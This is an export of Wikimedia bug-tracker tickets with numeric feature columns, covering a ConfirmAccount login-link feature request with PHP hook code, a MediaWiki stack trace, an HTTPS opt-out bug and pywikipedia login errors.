    }",,,1400335533,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-59,True,0.0,0.0,0.0,0.0,0.0,1.0,0.6666666666666666,0.0,0.0,1.0,0.3333333333333333,8.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,0.0,1.6666666666666667,0.0,0.3333333333333333,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,16.666666666666668,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6666666666666667,0.6666666666666666,2.6666666666666665,1.0,1.6666666666666667,2.6666666666666665,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,0.3333333333333333,4.0,4.0,0.0,8.0,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,1.3333333333333333,4.3580246913580245,0.5596707818930041,"hi please add the following to this URL please

the link is for request account and would be next to login 

$wgHooks['PersonalUrls'][] = 'onPersonalUrls';


function onPersonalUrls( array &$personal_urls, Title $title, SkinTemplate $skin  ) {
    // Add a link to Special:RequestAccount if a link exists for login
    if ( isset( $personal_urls['login'] ) || isset( $personal_urls['anonlogin'] ) ) {
            $personal_urls['createaccount'] = array(
                'text' => wfMessage( 'requestaccount' )->text(),
                'href' => SpecialPage::getTitleFor( 'RequestAccount' )->getFullURL()
            );
    }
    return true;
}

and please also change this code in that link it will change the name of link from login/create account to login 


   public static function setRequestLoginLinks( array &$personal_urls, &$title ) {
 

        if ( isset( $personal_urls['anonlogin'] ) ) {
 

            $personal_urls['anonlogin']['text'] = wfMessage( 'login' )->escaped();
 

        } elseif ( isset( $personal_urls['login'] ) ) {
 

            $personal_urls['login']['text'] = wfMessage( 'login' )->escaped();
 

        }
 

        return true;
 

    }"
260240,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","(In reply to paladox2015 from comment #4)
> Hi This is a feature request.

Comment 1 had open requests. Anyway, this ticket is closed now anyway.",,,1398232755,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-63,True,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,7.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.642857142857143,0.9642857142857143,"(In reply to paladox2015 from comment #4)
QUOTE

Comment 1 had open requests. Anyway, this ticket is closed now anyway."
260235,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",Hi This is a feature request.,,,1398183254,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-63,True,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,29.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,3.4285714285714284,1.0,Hi This is a feature request.
260230,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Unfortunately closing this report as no further information has been provided.

paladox2015: Please feel free to reopen this report if you can provide the information asked for in comment 1 and if this still happens. Thanks!",,,1398055417,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-63,True,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,7.0,5.0,2.0,12.0,0.0,0.0,2.0,0.0,7.0,2.0,2.0,0.0,2.0,15.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.634146341463414,0.8536585365853658,"Unfortunately closing this report as no further information has been provided.

paladox2015: Please feel free to reopen this report if you can provide the information asked for in comment 1 and if this still happens. Thanks!"
260225,"Update ""Create account"" / ""login"" buttons in ConfirmAccount",OK,,,1381518702,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,OK
260220,"Update ""Create account"" / ""login"" buttons in ConfirmAccount","Please stop setting ""blocker"" severity for all of your bug reports. The meaning of blocker is defined here: https://www.mediawiki.org/wiki/Bugzilla/Fields#importance . This is obviously not a blocker at all.

For the bug report itself, please provide a screenshot which icons you refer to.",,,1381263990,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sf5vijvw3yef2xjc4qjj,task_subcomment,,True,c3,1,True,,,-91,True,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,2.0,4.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,22.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,4.0,10.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,6.0,12.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,4.0,2.0,2.0,0.0,0.0,0.0,3.9,0.78,"Please stop setting ""blocker"" severity for all of your bug reports. The meaning of blocker is defined here: URL . This is obviously not a blocker at all.

For the bug report itself, please provide a screenshot which icons you refer to."
57379,Watch CTA on UserLogin?,"2013-10-06 12:01:48 mw1053 enwiki: [7b14de3f] /w/index.php?title=Special:UserLogin&action=submitlogin&type=signup&returnto=Special:UserLogin&returntoquery=article_action%3Dwatch   Exception from line 109 of /usr/local/apache/common-local/php-1.22wmf19/includes/WikiPage.php: Invalid or virtual namespace -1 given.
#0 /usr/local/apache/common-local/php-1.22wmf19/includes/actions/WatchAction.php(124): WikiPage::factory(Object(Title))
#1 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/MobileFrontend.hooks.php(427): WatchAction::doWatch(Object(Title), Object(User))
#2 (): MobileFrontendHooks::onUserLoginComplete(Object(User), '<!-- do CentralAuth redirect -->')
#3 /usr/local/apache/common-local/php-1.22wmf19/includes/Hooks.php(199): call_user_func_array('MobileFrontendHooks::onUserLoginComplete', Array)
#4 /usr/local/apache/common-local/php-1.22wmf19/includes/GlobalFunctions.php(3898): Hooks::run('UserLoginComplete', Array)
#5 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(926): wfRunHooks('UserLoginComplete', Array)
#6 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(313): LoginForm->successfulCreation()
#7 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(200): LoginForm->addNewAccount()
#8 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/specials/SpecialMobileUserlogin.php(15): LoginForm->execute(NULL)
#9 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPage.php(631): SpecialMobileUserlogin->execute(NULL)
#10 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
#11 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#12 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(591): MediaWiki->performRequest()
#13 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(460): MediaWiki->main()
#14 /usr/local/apache/common-local/php-1.22wmf19/index.php(55): MediaWiki->run()
#15 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apache/common-local/php-1.22wmf19/index.php')
#16 {main}

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1381089840,1381522464.0,PHID-USER-aasrweh54ew7py3agvg2,False,,False,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_description,resolved,True,c3,1,True,False,True,-91,True,0.0,0.0,0.0,0.0,0.0,11.8,0.0,0.0,0.0,0.0,0.0,1.2,0.0,0.0,0.0,0.0,0.0,0.2,0.4,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.6,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.6,0.0,0.2,0.0,0.0,0.0,0.2,3.4,0.2,0.0,7.8,0.0,0.0,0.4,6.4,0.0,1.2,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.2,4.877945550217342,0.38810340883093114,"2013-10-06 12:01:48 mw1053 enwiki: [7b14de3f] /w/index.php?title=Special:UserLogin&action=submitlogin&type=signup&returnto=Special:UserLogin&returntoquery=article_action%3Dwatch   Exception from line 109 of /usr/local/apache/common-local/php-1.22wmf19/includes/WikiPage.php: Invalid or virtual namespace -1 given.
#0 /usr/local/apache/common-local/php-1.22wmf19/includes/actions/WatchAction.php(124): WikiPage::factory(Object(Title))
#1 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/MobileFrontend.hooks.php(427): WatchAction::doWatch(Object(Title), Object(User))
#2 (): MobileFrontendHooks::onUserLoginComplete(Object(User), '<!-- do CentralAuth redirect -->')
#3 /usr/local/apache/common-local/php-1.22wmf19/includes/Hooks.php(199): call_user_func_array('MobileFrontendHooks::onUserLoginComplete', Array)
#4 /usr/local/apache/common-local/php-1.22wmf19/includes/GlobalFunctions.php(3898): Hooks::run('UserLoginComplete', Array)
#5 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(926): wfRunHooks('UserLoginComplete', Array)
#6 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(313): LoginForm->successfulCreation()
#7 /usr/local/apache/common-local/php-1.22wmf19/includes/specials/SpecialUserlogin.php(200): LoginForm->addNewAccount()
#8 /usr/local/apache/common-local/php-1.22wmf19/extensions/MobileFrontend/includes/specials/SpecialMobileUserlogin.php(15): LoginForm->execute(NULL)
#9 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPage.php(631): SpecialMobileUserlogin->execute(NULL)
#10 /usr/local/apache/common-local/php-1.22wmf19/includes/SpecialPageFactory.php(489): SpecialPage->run(NULL)
#11 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(291): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#12 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(591): MediaWiki->performRequest()
#13 /usr/local/apache/common-local/php-1.22wmf19/includes/Wiki.php(460): MediaWiki->main()
#14 /usr/local/apache/common-local/php-1.22wmf19/index.php(55): MediaWiki->run()
#15 /usr/local/apache/common-local/w/index.php(3): require('/usr/local/apache/common-local/php-1.22wmf19/index.php')
#16 {main}

--------------------------
**Version**: unspecified
**Severity**: normal"
278496,Watch CTA on UserLogin?,https://gerrit.wikimedia.org/r/#/c/89108/ fixes this,,,1381522464,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,URL fixes this
278490,Watch CTA on UserLogin?,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card https://wikimedia.mingle.thoughtworks.com/projects/mobile/cards/1291",,,1381089925,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-cpvfvjugkz42a3j3tbvz,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,0.8636363636363636,"**bingle-admin** wrote:

Prioritization and scheduling of this bug is tracked on Mingle card URL"
57368,HTTPS opt-out does not work on de.wikipedia,"Although the ""Always use a secure connection when logged in"" check box is unchecked, de.wikipedia uses secure protocol for some users and also each explicit http page request is redirected to https.

https://de.wikipedia.org/wiki/Wikipedia:FZW#Sichere_Anmeldung

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Needs Triage,90.0,1381071120,1381072702.0,PHID-USER-vvufz7opk2hhimdzyznx,False,,False,PHID-TASK-wrs444kj7qy2k3b5fxfh,task_description,resolved,True,c3,1,False,False,True,-91,True,3.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.0,3.0,9.0,3.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.258620689655173,0.7758620689655172,"Although the ""Always use a secure connection when logged in"" check box is unchecked, de.wikipedia uses secure protocol for some users and also each explicit http page request is redirected to https.

URL

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
277717,HTTPS opt-out does not work on de.wikipedia,"

%%%*** This bug has been marked as a duplicate of bug 54626 ***%%%",,,1381072702,,PHID-USER-jfiw563ca4r5mxfkj4vx,False,,,PHID-TASK-wrs444kj7qy2k3b5fxfh,task_subcomment,,True,c3,1,False,,,-91,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,25.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.5416666666666666,"

%%%*** This bug has been marked as a duplicate of bug 54626 ***%%%"
57285,Login no longer available,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1136/
Reported by: Anonymous user
Created on: 2010-03-09 13:34:43
Subject: Login no longer available
Original description:
I get the following errors when using a known good user-config.py and family configurations for an SVN checkout of 2009-11-05. This is for a local wiki. 

Using 2010-03-09, I get the following error on Ubuntu 9.04 \(Python 2.6.2\) and Ubuntu 8.04 \(Python 2.5.2\): 
Logging into FamilyName:en as UserName via API

Error downloading data: No JSON object could be decoded
Request: en:/scriptpath/api.php?
Retrying in 1 minutes.... \(I changed line 152 of query.py to retry\_idle\_time\*0.01 so I could see the dump without growing a beard first\)

Dump output: 

Error reported: No JSON object could be decoded
127.0.0.1
/hcrscript/api.php?

\{""login"":\{""result"":""Success"",""lguserid"":3,""lgusername"":""UserName"",""lgtoken"":""2b448df9379b445c225c0a5c1d3af18b"",""cookieprefix"":""DatabaseName"",""sessionid"":""3dd4cc3dd33236b57da8234d2f73e6d3""\}\}

on Ubuntu 9.04:

python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.6.2 \(release26-maint, April 19, 2009, 01:56:41\) 
\[GCC 4.3.3\]

also broken on Ubuntu 8.04

python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.5.2 \(r252:60911, Jul 22 2009, 15:35:03\) 
\[GCC 4.2.4 \(Ubuntu 4.2.4-1ubuntu3\)\]


But it seems to work fine on this system: 

foreignhost:pywikipedia-2010-03-09 alex$ python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.5.2 \(r252:60911, Feb 22 2008, 07:57:53\) 
\[GCC 4.0.1 \(Apple Computer, Inc. build 5363\)\]

Any ideas what's happening?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1136",Needs Triage,90.0,1380949020,1387787351.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_description,declined,True,c3,1,True,False,True,-91,True,0.25,0.0,0.0,0.5,0.0,1.75,0.25,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.75,0.25,2.75,4.5,0.0,0.5,0.0,0.0,0.0,1.0,0.25,0.0,0.0,0.75,0.0,0.25,1.75,0.75,0.25,1.0,0.0,0.25,0.0,0.75,0.25,0.5,0.0,0.25,1.0,0.0,0.0,0.0,0.0,0.0,11.25,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.75,0.75,12.75,0.25,0.75,3.0,0.0,0.0,0.0,0.0,1.75,0.0,12.75,0.0,1.0,4.5,8.75,0.75,0.0,0.0,1.0,0.0,0.5,1.0,0.0,2.25,0.25,0.0,0.0,4.695378151260504,0.659453781512605,"Originally from: URL
Reported by: Anonymous user
Created on: 2010-03-09 13:34:43
Subject: Login no longer available
Original description:
I get the following errors when using a known good user-config.py and family configurations for an SVN checkout of 2009-11-05. This is for a local wiki. 

Using 2010-03-09, I get the following error on Ubuntu 9.04 \(Python 2.6.2\) and Ubuntu 8.04 \(Python 2.5.2\): 
Logging into FamilyName:en as UserName via API

Error downloading data: No JSON object could be decoded
Request: en:/scriptpath/api.php?
Retrying in 1 minutes.... \(I changed line 152 of query.py to retry\_idle\_time\*0.01 so I could see the dump without growing a beard first\)

Dump output: 

Error reported: No JSON object could be decoded
127.0.0.1
/hcrscript/api.php?

\{""login"":\{""result"":""Success"",""lguserid"":3,""lgusername"":""UserName"",""lgtoken"":""2b448df9379b445c225c0a5c1d3af18b"",""cookieprefix"":""DatabaseName"",""sessionid"":""3dd4cc3dd33236b57da8234d2f73e6d3""\}\}

on Ubuntu 9.04:

python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.6.2 \(release26-maint, April 19, 2009, 01:56:41\) 
\[GCC 4.3.3\]

also broken on Ubuntu 8.04

python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.5.2 \(r252:60911, Jul 22 2009, 15:35:03\) 
\[GCC 4.2.4 \(Ubuntu 4.2.4-1ubuntu3\)\]


But it seems to work fine on this system: 

foreignhost:pywikipedia-2010-03-09 alex$ python version.py
Pywikipedia \[http\] trunk/pywikipedia \(r7983, 2010/03/09, 08:14:34\)
Python 2.5.2 \(r252:60911, Feb 22 2008, 07:57:53\) 
\[GCC 4.0.1 \(Apple Computer, Inc. build 5363\)\]

Any ideas what's happening?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
273086,Login no longer available,I mark it as resolved/worksforme. Maybe it is outdated. Please feel free to reopen this bug if it is still valid with the current pwb release.,,,1387787351,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c3,1,True,,,-80,True,0.0,0.0,0.0,3.0,0.0,10.0,3.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,10.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,13.0,13.0,3.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.774193548387097,0.8387096774193549,I mark it as resolved/worksforme. Maybe it is outdated. Please feel free to reopen this bug if it is still valid with the current pwb release.
273077,Login no longer available,Might be outdated.,,,1381757711,,PHID-USER-xezsyhikbr7hjrig2ofp,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c3,1,True,,,-90,True,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,1.0,Might be outdated.
273070,Login no longer available,"&gt;&gt;&gt; json.\_\_author\_\_, json.\_\_name\_\_, json.\_\_version\_\_, json.\_\_package\_\_, json.\_\_path\_\_
\('Bob Ippolito &lt;bob@redivi.com&gt;', 'json', '1.9', 'json', \['/usr/lib/python2.6/json'\]\)


?

Probably there is something wrong with the json libraries, but I wonder what...",,,1380949038,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-6ezj4fmszkxkz2w6ijdo,task_subcomment,,True,c3,1,True,,,-91,True,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,5.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,2.0,17.0,2.0,11.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.317460317460317,0.6190476190476191,"&gt;&gt;&gt; json.\_\_author\_\_, json.\_\_name\_\_, json.\_\_version\_\_, json.\_\_package\_\_, json.\_\_path\_\_
\('Bob Ippolito &lt;bob@redivi.com&gt;', 'json', '1.9', 'json', \['/usr/lib/python2.6/json'\]\)


?

Probably there is something wrong with the json libraries, but I wonder what..."
57232,login.all always asks for password,"Originally from: http://sourceforge.net/p/pywikipediabot/bugs/1360/
Reported by: nakor-wikipedia
Created on: 2011-10-14 14:23:06
Subject: login.all always asks for password
Original description:
When calling

login.py -all -pass

the script first asks for a password and then asks for password for every sinmgle wiki site:

login.py -all  -pass
Password for all accounts: 
Password for user Almabot on mediawiki:mediawiki: 
....

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://sourceforge.net/p/pywikipediabot/bugs/1360",Needs Triage,90.0,1380948420,1399300450.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-x4zx43o5jogulf5ohnll,task_description,invalid,True,c3,1,True,False,True,-91,True,1.5,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,0.0,1.5,1.5,0.0,0.0,0.5,2.5,0.0,0.0,0.0,0.0,0.0,11.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,0.5,0.5,2.5,0.0,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,6.0,5.5,0.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,3.8727272727272726,0.5909090909090908,"Originally from: URL
Reported by: nakor-wikipedia
Created on: 2011-10-14 14:23:06
Subject: login.all always asks for password
Original description:
When calling

login.py -all -pass

the script first asks for a password and then asks for password for every sinmgle wiki site:

login.py -all  -pass
Password for all accounts: 
Password for user Almabot on mediawiki:mediawiki: 
....

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
